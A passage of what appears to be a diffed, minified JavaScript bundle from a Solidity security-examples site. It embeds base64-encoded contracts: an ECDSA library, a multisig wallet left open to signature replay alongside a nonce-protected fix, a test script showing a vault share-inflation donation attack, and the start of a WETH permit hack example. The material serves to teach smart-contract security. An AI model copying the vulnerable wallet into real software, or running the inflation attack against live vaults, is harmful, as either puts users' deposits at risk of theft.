GlvbiB0cnlSZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMzMiByLCBieXRlczMyIHZzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MsIFJlY292ZXJFcnJvcikKICAgIHsKICAgICAgICBieXRlczMyIHMgPSB2cwogICAgICAgICAgICAmIGJ5dGVzMzIoCiAgICAgICAgICAgICAgICAweDdmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmYKICAgICAgICAgICAgKTsKICAgICAgICB1aW50OCB2ID0gdWludDgoKHVpbnQyNTYodnMpID4+IDI1NSkgKyAyNyk7CiAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzMzIgciwgYnl0ZXMzMiB2cykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIF90aHJvd0Vycm9yKGVycm9yKTsKICAgICAgICByZXR1cm4gcmVjb3ZlcmVkOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyeVJlY292ZXIoYnl0ZXMzMiBoYXNoLCB1aW50OCB2LCBieXRlczMyIHIsIGJ5dGVzMzIgcykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzLCBSZWNvdmVyRXJyb3IpCiAgICB7CiAgICAgICAgLy8gRUlQLTIgc3RpbGwgYWxsb3dzIHNpZ25hdHVyZSBtYWxsZWFiaWxpdHkgZm9yIGVjcmVjb3ZlcigpLiBSZW1vdmUgdGhpcyBwb3NzaWJpbGl0eSBhbmQgbWFrZSB0aGUgc2lnbmF0dXJlCiAgICAgICAgLy8gdW5pcXVlLiBBcHBlbmRpeCBGIGluIHRoZSBFdGhlcmV1bSBZZWxsb3cgcGFwZXIgKGh0dHBzOi8vZXRoZXJldW0uZ2l0aHViLmlvL3llbGxvd3BhcGVyL3BhcGVyLnBkZiksIGRlZmluZXMKICAgICAgICAvLyB0aGUgdmFsaWQgcmFuZ2UgZm9yIHMgaW4gKDMwMSk6IDAgPCBzIDwgc2VjcDI1NmsxbiDDtyAyICsgMSwgYW5kIGZvciB2IGluICgzMDIpOiB2IOKIiCB7MjcsIDI4fS4gTW9zdAogICAgICAgIC8vIHNpZ25hdHVyZXMgZnJvbSBjdXJyZW50IGxpYnJhcmllcyBnZW5lcmF0ZSBhIHVuaXF1ZSBzaWduYXR1cmUgd2l0aCBhbiBzLXZhbHVlIGluIHRoZSBsb3dlciBoYWxmIG9yZGVyLgogICAgICAgIC8vCiAgICAgICAgLy8gSWYgeW91ciBsaWJyYXJ5IGdlbmVyYXRlcyBtYWxsZWFibGUgc2lnbmF0dXJlcywgc3VjaCBhcyBzLXZhbHVlcyBpbiB0aGUgdXBwZXIgcmFuZ2UsIGNhbGN1bGF0ZSBhIG5ldyBzLXZhbHVlCiAgICAgICAgLy8gd2l0aCAweEZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZFQkFBRURDRTZBRjQ4QTAzQkJGRDI1RThDRDAzNjQxNDEgLSBzMSBhbmQgZmxpcCB2IGZyb20gMjcgdG8gMjggb3IKICAgICAgICAvLyB2aWNlIHZlcnNhLiBJZiB5b3VyIGxpYnJhcnkgYWxzbyBnZW5lcmF0ZXMgc2lnbmF0dXJlcyB3aXRoIDAvMSBmb3IgdiBpbnN0ZWFkIDI3LzI4LCBhZGQgMjcgdG8gdiB0byBhY2NlcHQKICAgICAgICAvLyB0aGVzZSBtYWxsZWFibGUgc2lnbmF0dXJlcyBhcyB3ZWxsLgogICAgICAgIGlmICgKICAgICAgICAgICAgdWludDI1NihzKQogICAgICAgICAgICAgICAgPiAweDdGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGNUQ1NzZFNzM1N0E0NTAxRERGRTkyRjQ2NjgxQjIwQTAKICAgICAgICApIHsKICAgICAgICAgICAgcmV0dXJuIChhZGRyZXNzKDApLCBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZVMpOwogICAgICAgIH0KICAgICAgICBpZiAodiAhPSAyNyAmJiB2ICE9IDI4KSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVWKTsKICAgICAgICB9CgogICAgICAgIC8vIElmIHRoZSBzaWduYXR1cmUgaXMgdmFsaWQgKGFuZCBub3QgbWFsbGVhYmxlKSwgcmV0dXJuIHRoZSBzaWduZXIgYWRkcmVzcwogICAgICAgIGFkZHJlc3Mgc2lnbmVyID0gZWNyZWNvdmVyKGhhc2gsIHYsIHIsIHMpOwogICAgICAgIGlmIChzaWduZXIgPT0gYWRkcmVzcygwKSkgewogICAgICAgICAgICByZXR1cm4gKGFkZHJlc3MoMCksIFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKTsKICAgICAgICB9CgogICAgICAgIHJldHVybiAoc2lnbmVyLCBSZWNvdmVyRXJyb3IuTm9FcnJvcik7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIHVpbnQ4IHYsIGJ5dGVzMzIgciwgYnl0ZXMzMiBzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgKGFkZHJlc3MgcmVjb3ZlcmVkLCBSZWNvdmVyRXJyb3IgZXJyb3IpID0gdHJ5UmVjb3ZlcihoYXNoLCB2LCByLCBzKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKGJ5dGVzMzIgaGFzaCkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIC8vIDMyIGlzIHRoZSBsZW5ndGggaW4gYnl0ZXMgb2YgaGFzaCwKICAgICAgICAvLyBlbmZvcmNlZCBieSB0aGUgdHlwZSBzaWduYXR1cmUgYWJvdmUKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KAogICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKCJceDE5RXRoZXJldW0gU2lnbmVkIE1lc3NhZ2U6XG4zMiIsIGhhc2gpCiAgICAgICAgKTsKICAgIH0KfQo="},{fileName:"PreventSigReplay.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FQ0RTQS5zb2wiOwoKY29udHJhY3QgTXVsdGlTaWdXYWxsZXQgewogICAgdXNpbmcgRUNEU0EgZm9yIGJ5dGVzMzI7CgogICAgYWRkcmVzc1syXSBwdWJsaWMgb3duZXJzOwogICAgbWFwcGluZyhieXRlczMyID0+IGJvb2wpIHB1YmxpYyBleGVjdXRlZDsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzWzJdIG1lbW9yeSBfb3duZXJzKSBwYXlhYmxlIHsKICAgICAgICBvd25lcnMgPSBfb3duZXJzOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gdHJhbnNmZXIoCiAgICAgICAgYWRkcmVzcyBfdG8sCiAgICAgICAgdWludDI1NiBfYW1vdW50LAogICAgICAgIHVpbnQyNTYgX25vbmNlLAogICAgICAgIGJ5dGVzWzJdIG1lbW9yeSBfc2lncwogICAgKSBleHRlcm5hbCB7CiAgICAgICAgYnl0ZXMzMiB0eEhhc2ggPSBnZXRUeEhhc2goX3RvLCBfYW1vdW50LCBfbm9uY2UpOwogICAgICAgIHJlcXVpcmUoIWV4ZWN1dGVkW3R4SGFzaF0sICJ0eCBleGVjdXRlZCIpOwogICAgICAgIHJlcXVpcmUoX2NoZWNrU2lncyhfc2lncywgdHhIYXNoKSwgImludmFsaWQgc2lnIik7CgogICAgICAgIGV4ZWN1dGVkW3R4SGFzaF0gPSB0cnVlOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBfdG8uY2FsbHt2YWx1ZTogX2Ftb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0VHhIYXNoKGFkZHJlc3MgX3RvLCB1aW50MjU2IF9hbW91bnQsIHVpbnQyNTYgX25vbmNlKQogICAgICAgIHB1YmxpYwogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIHJldHVybiBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChhZGRyZXNzKHRoaXMpLCBfdG8sIF9hbW91bnQsIF9ub25jZSkpOwogICAgfQoKICAgIGZ1bmN0aW9uIF9jaGVja1NpZ3MoYnl0ZXNbMl0gbWVtb3J5IF9zaWdzLCBieXRlczMyIF90eEhhc2gpCiAgICAgICAgcHJpdmF0ZQogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIGJ5dGVzMzIgZXRoU2lnbmVkSGFzaCA9IF90eEhhc2gudG9FdGhTaWduZWRNZXNzYWdlSGFzaCgpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCBfc2lncy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBhZGRyZXNzIHNpZ25lciA9IGV0aFNpZ25lZEhhc2gucmVjb3Zlcihfc2lnc1tpXSk7CiAgICAgICAgICAgIGJvb2wgdmFsaWQgPSBzaWduZXIgPT0gb3duZXJzW2ldOwoKICAgICAgICAgICAgaWYgKCF2YWxpZCkgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KfQoKLyoKLy8gb3duZXJzCjB4ZTE5YWVhOTNGNkMxZEJlZjZBMzc3Njg0OGJFMDk5QTdjMzI1M2FjOAoweGZhODU0RkU1MzM5ODQzYjNlOUJmZDg1NTRCMzhCRDA0MkE0MmUzNDAKCi8vIHRvCjB4ZTEwNDIyY2M2MTAzMEM4QjNkQkNEMzZjN2U3ZThFQzNCNTI3RTBBYwovLyBhbW91bnQKMTAwCi8vIG5vbmNlCjAKLy8gdHggaGFzaAoweDEyYTA5NTQ2MmViZmNhMjdkYzRkOTlmZWVmODg1YmZlNTgzNDRmYjZiYjQyYzNjNTJhN2MwZDY4MzZkMTE0NDgKCi8vIHNpZ25hdHVyZXMKMHgxMjBmOGVkOGYyZmE1NTQ5OGYyZWYwYTIyZjI2ZTM5YjliNTFlZDI5Y2M5M2ZlMGVmM2VkMTc1NmY1OGZhZDBjNmViNWExZDZmMzY3MWY4ZDUxNjM2MzlmZGM0MGJiODcyMGRlNmQ4ZjI1MjMwNzdhZDZkMTEzOGE2MDkyM2I4MDFjCjB4YTI0MGE0ODdkZTFlYjViYjk3MWU5MjBjYjA2NzdhNDdkZGM2NDIxZTM4ZjdiMDQ4ZjhhYTg4MjY2YjJjODg0YTEwNDU1YTUyZGM3NmEyMDNhMWE5YTk1MzQxODQ2OWY5ZWVjMmM1OWU4NzIwMWJiYzhkYjBlNGQ5Nzk2OTM1Y2IxYgoqLwo="},{fileName:"SigReplay.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FQ0RTQS5zb2wiOwoKY29udHJhY3QgTXVsdGlTaWdXYWxsZXQgewogICAgdXNpbmcgRUNEU0EgZm9yIGJ5dGVzMzI7CgogICAgYWRkcmVzc1syXSBwdWJsaWMgb3duZXJzOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3NbMl0gbWVtb3J5IF9vd25lcnMpIHBheWFibGUgewogICAgICAgIG93bmVycyA9IF9vd25lcnM7CiAgICB9CgogICAgZnVuY3Rpb24gZGVwb3NpdCgpIGV4dGVybmFsIHBheWFibGUge30KCiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIF90bywgdWludDI1NiBfYW1vdW50LCBieXRlc1syXSBtZW1vcnkgX3NpZ3MpCiAgICAgICAgZXh0ZXJuYWwKICAgIHsKICAgICAgICBieXRlczMyIHR4SGFzaCA9IGdldFR4SGFzaChfdG8sIF9hbW91bnQpOwogICAgICAgIHJlcXVpcmUoX2NoZWNrU2lncyhfc2lncywgdHhIYXNoKSwgImludmFsaWQgc2lnIik7CgogICAgICAgIChib29sIHNlbnQsKSA9IF90by5jYWxse3ZhbHVlOiBfYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRUeEhhc2goYWRkcmVzcyBfdG8sIHVpbnQyNTYgX2Ftb3VudCkKICAgICAgICBwdWJsaWMKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQoX3RvLCBfYW1vdW50KSk7CiAgICB9CgogICAgZnVuY3Rpb24gX2NoZWNrU2lncyhieXRlc1syXSBtZW1vcnkgX3NpZ3MsIGJ5dGVzMzIgX3R4SGFzaCkKICAgICAgICBwcml2YXRlCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgYnl0ZXMzMiBldGhTaWduZWRIYXNoID0gX3R4SGFzaC50b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKCk7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IF9zaWdzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIGFkZHJlc3Mgc2lnbmVyID0gZXRoU2lnbmVkSGFzaC5yZWNvdmVyKF9zaWdzW2ldKTsKICAgICAgICAgICAgYm9vbCB2YWxpZCA9IHNpZ25lciA9PSBvd25lcnNbaV07CgogICAgICAgICAgICBpZiAoIXZhbGlkKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHJldHVybiB0cnVlOwogICAgfQp9Cg=="}],FZ=`

                              Signing messages off-chain and having a contract that requires that signature before executing a function is a useful technique.

                              For example this technique is used to:

                                @@ -9238,7 +9800,7 @@ if the signer's intention was to approve a transaction once.

                                ); } } -`,YZ=({prev:s,next:a})=>r.jsx(u,{version:WZ,title:GZ,description:BZ,html:fZ,prev:s,next:a,codes:VZ}),RZ="0.8.24",XZ="Vault Inflation",vZ="An example of vault inflation",NZ=[{fileName:"VaultInflation.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI0OwoKaW1wb3J0IHtUZXN0LCBjb25zb2xlMn0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0IHsKICAgIElFUkMyMCwKICAgIFZhdWx0LAogICAgVG9rZW4KfSBmcm9tICIuLi8uLi8uLi9zcmMvaGFja3MvdmF1bHQtaW5mbGF0aW9uL1ZhdWx0SW5mbGF0aW9uLnNvbCI7Cgp1aW50OCBjb25zdGFudCBERUNJTUFMUyA9IDE4OwoKY29udHJhY3QgVmF1bHRUZXN0IGlzIFRlc3QgewogICAgVmF1bHQgcHJpdmF0ZSB2YXVsdDsKICAgIFRva2VuIHByaXZhdGUgdG9rZW47CgogICAgYWRkcmVzc1tdIHByaXZhdGUgdXNlcnMgPSBbYWRkcmVzcygxMSksIGFkZHJlc3MoMTIpXTsKCiAgICBmdW5jdGlvbiBzZXRVcCgpIHB1YmxpYyB7CiAgICAgICAgdG9rZW4gPSBuZXcgVG9rZW4oKTsKICAgICAgICB2YXVsdCA9IG5ldyBWYXVsdChhZGRyZXNzKHRva2VuKSk7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IHVzZXJzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHRva2VuLm1pbnQodXNlcnNbaV0sIDEwMDAwICogKDEwICoqIERFQ0lNQUxTKSk7CiAgICAgICAgICAgIHZtLnByYW5rKHVzZXJzW2ldKTsKICAgICAgICAgICAgdG9rZW4uYXBwcm92ZShhZGRyZXNzKHZhdWx0KSwgdHlwZSh1aW50MjU2KS5tYXgpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBwcmludCgpIHByaXZhdGUgewogICAgICAgIGNvbnNvbGUyLmxvZygidmF1bHQgdG90YWwgc3VwcGx5IiwgdmF1bHQudG90YWxTdXBwbHkoKSk7CiAgICAgICAgY29uc29sZTIubG9nKCJ2YXVsdCBiYWxhbmNlIiwgdG9rZW4uYmFsYW5jZU9mKGFkZHJlc3ModmF1bHQpKSk7CiAgICAgICAgdWludDI1NiBzaGFyZXMwID0gdmF1bHQuYmFsYW5jZU9mKHVzZXJzWzBdKTsKICAgICAgICB1aW50MjU2IHNoYXJlczEgPSB2YXVsdC5iYWxhbmNlT2YodXNlcnNbMV0pOwogICAgICAgIGNvbnNvbGUyLmxvZygidXNlcnNbMF0gc2hhcmVzIiwgc2hhcmVzMCk7CiAgICAgICAgY29uc29sZTIubG9nKCJ1c2Vyc1sxXSBzaGFyZXMiLCBzaGFyZXMxKTsKICAgICAgICBjb25zb2xlMi5sb2coInVzZXJzWzBdIHJlZGVlbWFibGUiLCB2YXVsdC5wcmV2aWV3UmVkZWVtKHNoYXJlczApKTsKICAgICAgICBjb25zb2xlMi5sb2coInVzZXJzWzFdIHJlZGVlbWFibGUiLCB2YXVsdC5wcmV2aWV3UmVkZWVtKHNoYXJlczEpKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0KCkgcHVibGljIHsKICAgICAgICAvLyB1c2Vyc1swXSBkZXBvc2l0IDEKICAgICAgICBjb25zb2xlMi5sb2coIi0tLSB1c2Vyc1swXSBkZXBvc2l0IC0tLSIpOwogICAgICAgIHZtLnByYW5rKHVzZXJzWzBdKTsKICAgICAgICB2YXVsdC5kZXBvc2l0KDEpOwogICAgICAgIHByaW50KCk7CgogICAgICAgIC8vIHVzZXJzWzBdIGRvbmF0ZSAxMDAKICAgICAgICBjb25zb2xlMi5sb2coIi0tLSB1c2Vyc1swXSBkb25hdGUgLS0tIik7CiAgICAgICAgdm0ucHJhbmsodXNlcnNbMF0pOwogICAgICAgIHRva2VuLnRyYW5zZmVyKGFkZHJlc3ModmF1bHQpLCAxMDAgKiAoMTAgKiogREVDSU1BTFMpKTsKICAgICAgICBwcmludCgpOwoKICAgICAgICAvLyB1c2Vyc1sxXSBkZXBvc2l0IDEwMAogICAgICAgIGNvbnNvbGUyLmxvZygiLS0tIHVzZXJzWzFdIGRlcG9zaXQgLS0tIik7CiAgICAgICAgdm0ucHJhbmsodXNlcnNbMV0pOwogICAgICAgIHZhdWx0LmRlcG9zaXQoMTAwICogKDEwICoqIERFQ0lNQUxTKSk7CiAgICAgICAgcHJpbnQoKTsKICAgIH0KfQo="}],HZ=`

                                Vulnerability

                                +`,KZ=({prev:s,next:a})=>r.jsx(u,{version:XZ,title:vZ,description:NZ,html:FZ,prev:s,next:a,codes:HZ}),SZ="0.8.24",MZ="Vault Inflation",xZ="An example of vault inflation",JZ=[{fileName:"VaultInflation.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI0OwoKaW1wb3J0IHtUZXN0LCBjb25zb2xlMn0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0IHsKICAgIElFUkMyMCwKICAgIFZhdWx0LAogICAgVG9rZW4KfSBmcm9tICIuLi8uLi8uLi9zcmMvaGFja3MvdmF1bHQtaW5mbGF0aW9uL1ZhdWx0SW5mbGF0aW9uLnNvbCI7Cgp1aW50OCBjb25zdGFudCBERUNJTUFMUyA9IDE4OwoKY29udHJhY3QgVmF1bHRUZXN0IGlzIFRlc3QgewogICAgVmF1bHQgcHJpdmF0ZSB2YXVsdDsKICAgIFRva2VuIHByaXZhdGUgdG9rZW47CgogICAgYWRkcmVzc1tdIHByaXZhdGUgdXNlcnMgPSBbYWRkcmVzcygxMSksIGFkZHJlc3MoMTIpXTsKCiAgICBmdW5jdGlvbiBzZXRVcCgpIHB1YmxpYyB7CiAgICAgICAgdG9rZW4gPSBuZXcgVG9rZW4oKTsKICAgICAgICB2YXVsdCA9IG5ldyBWYXVsdChhZGRyZXNzKHRva2VuKSk7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IHVzZXJzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHRva2VuLm1pbnQodXNlcnNbaV0sIDEwMDAwICogKDEwICoqIERFQ0lNQUxTKSk7CiAgICAgICAgICAgIHZtLnByYW5rKHVzZXJzW2ldKTsKICAgICAgICAgICAgdG9rZW4uYXBwcm92ZShhZGRyZXNzKHZhdWx0KSwgdHlwZSh1aW50MjU2KS5tYXgpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBwcmludCgpIHByaXZhdGUgewogICAgICAgIGNvbnNvbGUyLmxvZygidmF1bHQgdG90YWwgc3VwcGx5IiwgdmF1bHQudG90YWxTdXBwbHkoKSk7CiAgICAgICAgY29uc29sZTIubG9nKCJ2YXVsdCBiYWxhbmNlIiwgdG9rZW4uYmFsYW5jZU9mKGFkZHJlc3ModmF1bHQpKSk7CiAgICAgICAgdWludDI1NiBzaGFyZXMwID0gdmF1bHQuYmFsYW5jZU9mKHVzZXJzWzBdKTsKICAgICAgICB1aW50MjU2IHNoYXJlczEgPSB2YXVsdC5iYWxhbmNlT2YodXNlcnNbMV0pOwogICAgICAgIGNvbnNvbGUyLmxvZygidXNlcnNbMF0gc2hhcmVzIiwgc2hhcmVzMCk7CiAgICAgICAgY29uc29sZTIubG9nKCJ1c2Vyc1sxXSBzaGFyZXMiLCBzaGFyZXMxKTsKICAgICAgICBjb25zb2xlMi5sb2coInVzZXJzWzBdIHJlZGVlbWFibGUiLCB2YXVsdC5wcmV2aWV3UmVkZWVtKHNoYXJlczApKTsKICAgICAgICBjb25zb2xlMi5sb2coInVzZXJzWzFdIHJlZGVlbWFibGUiLCB2YXVsdC5wcmV2aWV3UmVkZWVtKHNoYXJlczEpKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0KCkgcHVibGljIHsKICAgICAgICAvLyB1c2Vyc1swXSBkZXBvc2l0IDEKICAgICAgICBjb25zb2xlMi5sb2coIi0tLSB1c2Vyc1swXSBkZXBvc2l0IC0tLSIpOwogICAgICAgIHZtLnByYW5rKHVzZXJzWzBdKTsKICAgICAgICB2YXVsdC5kZXBvc2l0KDEpOwogICAgICAgIHByaW50KCk7CgogICAgICAgIC8vIHVzZXJzWzBdIGRvbmF0ZSAxMDAKICAgICAgICBjb25zb2xlMi5sb2coIi0tLSB1c2Vyc1swXSBkb25hdGUgLS0tIik7CiAgICAgICAgdm0ucHJhbmsodXNlcnNbMF0pOwogICAgICAgIHRva2VuLnRyYW5zZmVyKGFkZHJlc3ModmF1bHQpLCAxMDAgKiAoMTAgKiogREVDSU1BTFMpKTsKICAgICAgICBwcmludCgpOwoKICAgICAgICAvLyB1c2Vyc1sxXSBkZXBvc2l0IDEwMAogICAgICAgIGNvbnNvbGUyLmxvZygiLS0tIHVzZXJzWzFdIGRlcG9zaXQgLS0tIik7CiAgICAgICAgdm0ucHJhbmsodXNlcnNbMV0pOwogICAgICAgIHZhdWx0LmRlcG9zaXQoMTAwICogKDEwICoqIERFQ0lNQUxTKSk7CiAgICAgICAgcHJpbnQoKTsKICAgIH0KfQo="}],zZ=`

                                Vulnerability

                                Vault shares can be inflated by donating ERC20 token to the vault.

                                Attacker can exploit this behavior to steal other user's deposits.

                                Example

                                @@ -9316,7 +9878,7 @@ if the signer's intention was to approve a transaction once.

                                print(); } } -`,FZ=({prev:s,next:a})=>r.jsx(u,{version:RZ,title:XZ,description:vZ,html:HZ,prev:s,next:a,codes:NZ}),KZ="0.8.24",SZ="WETH Permit",MZ="An example of WETH permit hack",xZ=[{fileName:"ERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI0OwoKYWJzdHJhY3QgY29udHJhY3QgRVJDMjAgewogICAgZXZlbnQgVHJhbnNmZXIoYWRkcmVzcyBpbmRleGVkIGZyb20sIGFkZHJlc3MgaW5kZXhlZCB0bywgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgQXBwcm92YWwoCiAgICAgICAgYWRkcmVzcyBpbmRleGVkIG93bmVyLCBhZGRyZXNzIGluZGV4ZWQgc3BlbmRlciwgdWludDI1NiBhbW91bnQKICAgICk7CgogICAgc3RyaW5nIHB1YmxpYyBuYW1lOwogICAgc3RyaW5nIHB1YmxpYyBzeW1ib2w7CiAgICB1aW50OCBwdWJsaWMgaW1tdXRhYmxlIGRlY2ltYWxzOwoKICAgIHVpbnQyNTYgcHVibGljIHRvdGFsU3VwcGx5OwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpKSBwdWJsaWMgYWxsb3dhbmNlOwoKICAgIGNvbnN0cnVjdG9yKHN0cmluZyBtZW1vcnkgX25hbWUsIHN0cmluZyBtZW1vcnkgX3N5bWJvbCwgdWludDggX2RlY2ltYWxzKSB7CiAgICAgICAgbmFtZSA9IF9uYW1lOwogICAgICAgIHN5bWJvbCA9IF9zeW1ib2w7CiAgICAgICAgZGVjaW1hbHMgPSBfZGVjaW1hbHM7CiAgICB9CgogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIHB1YmxpYwogICAgICAgIHZpcnR1YWwKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIGFsbG93YW5jZVttc2cuc2VuZGVyXVtzcGVuZGVyXSA9IGFtb3VudDsKICAgICAgICBlbWl0IEFwcHJvdmFsKG1zZy5zZW5kZXIsIHNwZW5kZXIsIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlydHVhbAogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdIC09IGFtb3VudDsKICAgICAgICB1bmNoZWNrZWQgewogICAgICAgICAgICBiYWxhbmNlT2ZbdG9dICs9IGFtb3VudDsKICAgICAgICB9CiAgICAgICAgZW1pdCBUcmFuc2Zlcihtc2cuc2VuZGVyLCB0bywgYW1vdW50KTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBmcm9tLCBhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkKICAgICAgICBwdWJsaWMKICAgICAgICB2aXJ0dWFsCiAgICAgICAgcmV0dXJucyAoYm9vbCkKICAgIHsKICAgICAgICB1aW50MjU2IGFsbG93ZWQgPSBhbGxvd2FuY2VbZnJvbV1bbXNnLnNlbmRlcl07CiAgICAgICAgaWYgKGFsbG93ZWQgIT0gdHlwZSh1aW50MjU2KS5tYXgpIHsKICAgICAgICAgICAgYWxsb3dhbmNlW2Zyb21dW21zZy5zZW5kZXJdID0gYWxsb3dlZCAtIGFtb3VudDsKICAgICAgICB9CiAgICAgICAgYmFsYW5jZU9mW2Zyb21dIC09IGFtb3VudDsKICAgICAgICB1bmNoZWNrZWQgewogICAgICAgICAgICBiYWxhbmNlT2ZbdG9dICs9IGFtb3VudDsKICAgICAgICB9CiAgICAgICAgZW1pdCBUcmFuc2Zlcihmcm9tLCB0bywgYW1vdW50KTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiBfbWludChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkgaW50ZXJuYWwgdmlydHVhbCB7CiAgICAgICAgdG90YWxTdXBwbHkgKz0gYW1vdW50OwogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIGJhbGFuY2VPZlt0b10gKz0gYW1vdW50OwogICAgICAgIH0KICAgICAgICBlbWl0IFRyYW5zZmVyKGFkZHJlc3MoMCksIHRvLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIF9idXJuKGFkZHJlc3MgZnJvbSwgdWludDI1NiBhbW91bnQpIG